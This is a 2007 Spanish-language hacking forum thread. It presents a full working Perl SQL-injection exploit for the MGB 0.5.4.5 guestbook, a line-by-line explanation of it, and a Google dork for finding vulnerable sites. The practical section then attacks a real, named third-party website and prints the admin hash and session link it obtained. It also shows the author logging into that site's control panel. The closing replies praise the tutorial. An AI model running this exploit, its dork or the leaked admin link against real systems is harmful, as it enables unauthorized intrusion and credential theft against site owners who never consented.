HackPR.NET

Hacking y Seguridad => HacK General / Ethical Hacking => Topic started by: ozx on January 19, 2007, 05:17:42 AM

Title: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX
Post by: ozx on January 19, 2007, 05:17:42 AM
OzX [Nuke]

(https://hackpr.net/foro/proxy.php?request=http%3A%2F%2Fimg180.imageshack.us%2Fimg180%2F3048%2Fsinttulo12ep6.png&hash=1fdcf61bb40debad5cbb7083fe2d5e03d3e83f4e)

Estando analizando mi pasado me di cuenta que nunca me habia tomado el tiempo de "desfacear" algunas paginas, porque realmente no me gusta, yo e sido victima de esos sucesos, pero para poder defenderse ahy que saber atacar, doy por entendido que saben algo basico de programacion, intentare explicar el codigo, aunque no sera de una forma demasiado avanzada sino solo las partes mas importantes, porque mi nivel de programacion no es muy elevada y llevo bastante poco con Perl. para hacerlo mas facil buscare un exploit en MilW0rm.

Este Tutorial Se Basara en dos Partes, en la Parte Teorica en donde se Expondra el Analisis Basico del Exploit y Otra Parte Practica en donde se llevara a Cabo Lo Aprendido.

Teoria

¿Que es Inyeccion SQL?

Inyección SQL es una vulnerabilidad informática en el nivel de base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.


Una ves Entendido lo Basico Vamos en Busca del Exploit Para el Ejemplo.

(https://hackpr.net/foro/proxy.php?request=http%3A%2F%2Fimg440.imageshack.us%2Fimg440%2F5332%2F1xk4.jpg&hash=0143cb9c1e48778e08d6abaec2c165d8b8872850)

Dando Click  AQUI (http://www.milw0rm.com/exploits/3141) Pueden Observalo.

#!/usr/bin/perl
#
##########################################################
# MGB <= 0.5.4.5 Exploit
# Vulnerability found by SlimTim10
# Created By: SlimTim10
# <[email protected]>
##########################################################
# Google dork:
# ( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..
##########################################################


use IO::Socket::INET;

usage() unless (@ARGV == 2);

$host = $ARGV[0];
$dir = $ARGV[1];

$dir = "\/$dir" if ($dir !~ /^\//);
$dir = "$dir\/" if ($dir !~ /\/$/);
$host =~ s/http:\/\///g;

$path = $dir.'email.php?id=1%20UNION%20SELECT%20null,passwort%20FROM%20mgb_settings%20--';
$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected!\n";

while ($answer = <$socket>) {
  $answer =~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;
}

if ($var !~ /[\da-f]{32,32}/) {
print "[-]Exploit failed.";
exit(0);
}

print "[+]Admin Password: $var\n";
print "[+]Admin Link: http://$host".$dir."admin.php?sid=$var\n";

sub usage {
    print "\n" . "=|=-" x 14 . "=|=";
    print q(
]                                                         [
[       MGB <= 0.5.4.5 Remote SQL Injection Exploit       ]
[                Tested on MGB <= 0.5.4.5                 ]
[       Created by: SlimTim10 <[email protected]>       ]
]                                                         [
);
    print "=|=-" x 14 . "=|=\n\n";
    print "\tUsage: $0 [HOST] [PATH]\n";
    print "\tEx: $0 www.host.com /guestbook/\n";
    print "\tEx: $0 host.com mgb";
    print "\n\n"."`^" x 29 . "`\n";
    exit(0);
}

# milw0rm.com [2007-01-17]


De Aqui en Adelante Explicare Las Partes mas Importantes del Funcionamiento del Exploit .

#!/usr/bin/perl
Exploit Escrito en Perl

# MGB <= 0.5.4.5 Exploit
Nombre del Exploit y la Version.

# Created By: SlimTim10
Autor del Exploit


# Google dork:
# ( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..


Aqui se expone las lineas para buscar paginas vulnerables al Exploit.
( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..

use IO::Socket::INET;
Se Dicta que se Usaran los Sockets en perl.

$host = $ARGV[0];
$dir = $ARGV[1];

$dir = "\/$dir" if ($dir !~ /^\//);
$dir = "$dir\/" if ($dir !~ /\/$/);
$host =~ s/http:\/\///g;


Se declaran las Variables y los Arreglos. $dir, $host , directorio y Host.

$path = $dir.'email.php?id=1%20UNION%20SELECT%20null,passwort%20FROM%20mgb_settings%20--';
Esta es la Inyeccion SQL .

$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";

Se Intenta Conectar al Servediro, y se da a entender que los datos ingresados en la variable $host es la direccion, estableciendo tambien el puerto 80, con protocolo "tcp", si este no logra tener una conexion "die" [-] Fallo la Conexion: No se puede Conectar con $Host , en $host saldra la direccion web vulnerable que teclearon.

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected!\n";

Muestra Todo el Procedimiento luego de teclear los Datos requeridos, Host y /Path/ .
Al inicio, nada mas muestra en Pantalla "Conectando", Luego intenta obtener "get" el directorio en donde se encuentra la vulnerabilidad, (recordar que es una vulnerabilidad basada en un libro de visitar), si la tecleado a sido correcto, este va a hacer conexion con dicha vulnerabilidad.

while ($answer = <$socket>) {
  $answer =~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;
}

if ($var !~ /[\da-f]{32,32}/) {
print "[-]Exploit failed.";
exit(0);
}

print "[+]Admin Password: $var\n";
print "[+]Admin Link: http://$host".$dir."admin.php?sid=$var\n";

En esta parte del codigo pasa casi lo mas importante, si no se logra conectar con el servidor y con la vulnerabilidad, este fallara [-] Exploit Failed, y termina el  exploit, sino este se conectara y nos dara el hash (md5) del Administrador.

Analizando un Poco mas.

while ($answer = <$socket>) {
  $answer =~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;
}


Mientras ($answer = <$socket>) , siendo  $answer igual ~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;, este nos entrega el valor en la variable $var , el cual tiene el Hash md5 del Administrador.

if ($var !~ /[\da-f]{32,32}/) {
print "[-]Exploit failed.";
exit(0);
}


si la cadena ''/[\da-f]{32,32}/) " no esta en $var se ejecuta el código entre llaves.{}

{
print "[-]Exploit failed.";
exit(0);
}


Esto Significa que el Exploit Fallo.

print "[+]Admin Password: $var\n";
print "[+]Admin Link: http://$host".$dir."admin.php?sid=$var\n";


Si sale todo bien y se logra conectar en donde esta la vulnerabilidad, obtendremos el Hash en la variable $var, asi podremos ver directamente el hash.

print " Admin: Password: $var \n";
print "Admin Link: http://$host".$dir."admin.php?sid=$var\n";

(https://hackpr.net/foro/proxy.php?request=http%3A%2F%2Fimg181.imageshack.us%2Fimg181%2F4858%2F2xd2.jpg&hash=150bf31ae3ef7cb377b9ea9a36ab3af72ab0d13b)


]                                                         [
[       MGB <= 0.5.4.5 Remote SQL Injection Exploit       ]
[                Tested on MGB <= 0.5.4.5                 ]
[       Created by: SlimTim10 <[email protected]>       ]
]                                                         [
);
    print "=|=-" x 14 . "=|=\n\n";
    print "\tUsage: $0 [HOST] [PATH]\n";
    print "\tEx: $0 www.host.com /guestbook/\n";
    print "\tEx: $0 host.com mgb";
    print "\n\n"."`^" x 29 . "`\n";
    exit(0);
}



Este es el texto que vemos al iniciar el exploit, como podemos ver aqui nos pide el Host, y el path. y Ahy se acaba el Exploit. , la variable $0 saldra el nombre con que tenemos nombrado nuestro exploit.

Talves no sera de un nivel muy avanzado, pero sirve para darse una idea de los "clicks" que se hacen, porque esta es la idea , poder entender aunque sea poco, los exploit, esa es la magia, la intencion, es donde se diferencia realmente de un user que solo quiere joder y de otro que realmente quiere aprender, porque este talves no les funcionara un exploit a la primera, pero seguira intentando, y intentara aprender a programar, para entender dicho lenguaje y quien no, a los 3 intentos y ver q no les resulta, ira a google a buscar si existe el Hack Hotmail.

Es muy Recomendable Leer Algunos de los Siguientes Manuales de Perl, Para tener una idea de como esta escrito el exploit.

WIKI Perl  (http://es.wikipedia.org/wiki/Perl)
Tutorial de Lenguaje perl  (http://kataix.umag.cl/~mmarin/topinf/perl.html)
Curso perl  (http://www.geocities.com/siliconvalley/station/8266/perl/)

Practica

Primero que nada Vamos a Guardar Nuestro Exploit con la terminacion .pl y Nos Bajamos el Interpretador Perl, Todo Esto lo Pueden Encontrar en la Revista Hack Newbie E-Zine, que se la pueden descargar desde  AQUI  (http://www.badongo.net/es/file/1920891), (solo la parte de compilacion no la revista entera).

Una Ves Entendido todo El Manual, Tendriamos que tener una pantalla como Esta.

(https://hackpr.net/foro/proxy.php?request=http%3A%2F%2Fimg484.imageshack.us%2Fimg484%2F5302%2F3ln9.jpg&hash=6c9022ce7a2b22fd589b8198567d3bc97c27c105)

Ahora devemos Buscar alguna web Vulnerable, Revisamos el Codigo hasta donde sale Google Dork.
( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..
y Buscamos en google.

(https://hackpr.net/foro/proxy.php?request=http%3A%2F%2Fimg405.imageshack.us%2Fimg405%2F4259%2F4vg3.jpg&hash=68cbc2341a23688269c15b42f9d7babb61bce758)

Buscamos Alguna Web.

(https://hackpr.net/foro/proxy.php?request=http%3A%2F%2Fimg405.imageshack.us%2Fimg405%2F2645%2F5yk4.jpg&hash=077002f2e87ddf7ea4f53993d39c50b6b9fdea00)

Como es una vulne de WilW0rm es facil encontrase con otra que web que ya fue visita por otros users que explotaron la misma vulnerabilidad

Ahora ingresamos a la web, y nos lanza a este sitio.

http://www.schiessgruppe.de/gb/onlinehilfe/

Si leimos algo Sobre MGB es un Libro de Visitas o GuestBook, Ahora intentamos ver si esta en ese mismo directorio.

(https://hackpr.net/foro/proxy.php?request=http%3A%2F%2Fimg149.imageshack.us%2Fimg149%2F103%2F7hg7.jpg&hash=0a330acc9a7992a04cb96e3d9ec37116dd3adb7a)

Y Tenemos Suerte, si esta en el mismo directorio, Guestbook.php

(https://hackpr.net/foro/proxy.php?request=http%3A%2F%2Fimg149.imageshack.us%2Fimg149%2F4199%2F8nx7.jpg&hash=3c4c6b3b7c3aafd58f3effc0ce2d9ae89d22bf34)

Ahora volvemos el Exploit y Seguimos Los requisitos que nos pide y lo ejecutamos,

(https://hackpr.net/foro/proxy.php?request=http%3A%2F%2Fimg107.imageshack.us%2Fimg107%2F6280%2F9nv3.jpg&hash=40cbd2e8615f43101a67800e5a21bb5231c7d1e4)
Si Sale Todo Bien Nos Dara el Hash

http://www.schiessgruppe.de/gb/admin.php?sid=80d14739e0519dcd55602202736abbf3
vamos a obtener el hash en la variable $var, ahora podemos copiar la direccion y copiarla en nuestro navegador.

Luego entramos al panel de Control y Podemos ver todas las opciones que nos da.
(https://hackpr.net/foro/proxy.php?request=http%3A%2F%2Fimg201.imageshack.us%2Fimg201%2F4666%2F10oo4.jpg&hash=d65a63ccea03fb04d9fdd2419bfec7085a8e6276)

(https://hackpr.net/foro/proxy.php?request=http%3A%2F%2Fimg380.imageshack.us%2Fimg380%2F8851%2F11hy3.jpg&hash=9bb2574a50af99aa1dbd7936b092c08f95fd1451)

Video Tutorial :  Descargar VideoTuto  (http://www.badongo.com/es/file/2043401)
Mirror Descarga Video Tuto  (http://rapidshare.com/files/12359328/Analisis_Basico_de_EXPLOIT_SQL_INYECTION__MGB_0.5.4.5___By_OzX.rar.html)


Prohibida la Reproduccion Total o Parcial de Este Tutorial, Si desean que este en otro Foro, Porfavor perdime a Mi por Privado y Yo Encantado Expondre el Tuto en Su Foro o En Donde Quieran. Con los Tutoriales Pasados e Tenido Muchos Problemas, y Prefiero que Mejor sea de Esta Forma.


Saludos¡ OzX [NuKe], Newbytes.info ¡ Pronto Online ¡


Pd: Si me equivoque en Algo en cuanto a los Codigos, o alguien que tenga conocimiento mas avanzados desea hacer un analisis mas detallado , pero entendible, a newbies, Porfavor Avisar . Thanx¡

Title: Re: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX
Post by: KM on January 19, 2007, 06:01:48 AM
Perfecto bro, este si que es un buen tuto, completisimo bro.
grasias por compartir tus conosimientos.
Title: Re: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX
Post by: freshjive on January 19, 2007, 10:20:43 AM
lujoso y detallista aclarando que los exploits pueden variar pues ahi muchisimos expoits claro este es uno
Title: Re: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX
Post by: porq69 on January 19, 2007, 01:47:34 PM
Gracias por el aporte :o Muy bueno ;)
Title: Re: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX
Post by: ozx on January 19, 2007, 03:15:48 PM
:D ahy todos tipos de exploit hasta algunos que no tienen nisiqiera codigos de programacion :D, lo que yo llamo HUMAN EXPLOIT :D
Title: Re: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX
Post by: ::: Lot3k ::: on January 21, 2007, 09:59:49 PM
Si han de ser las BOMBITAS jejeje, saludos que buen material...

Saludos esperemos vernos seguido por aky posteando ...
Title: Re: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX
Post by: ozx on January 22, 2007, 02:10:00 AM
:D thanx.
Title: Re: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX
Post by: peperi on February 18, 2007, 03:27:06 AM
Impresionante... clarisimo y didactico.... grax! ;).... (estoy avido de saber del tema, me viene al pelete!)
Title: Re: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX
Post by: ozx on February 21, 2007, 04:42:39 PM
jejejejejje XD¡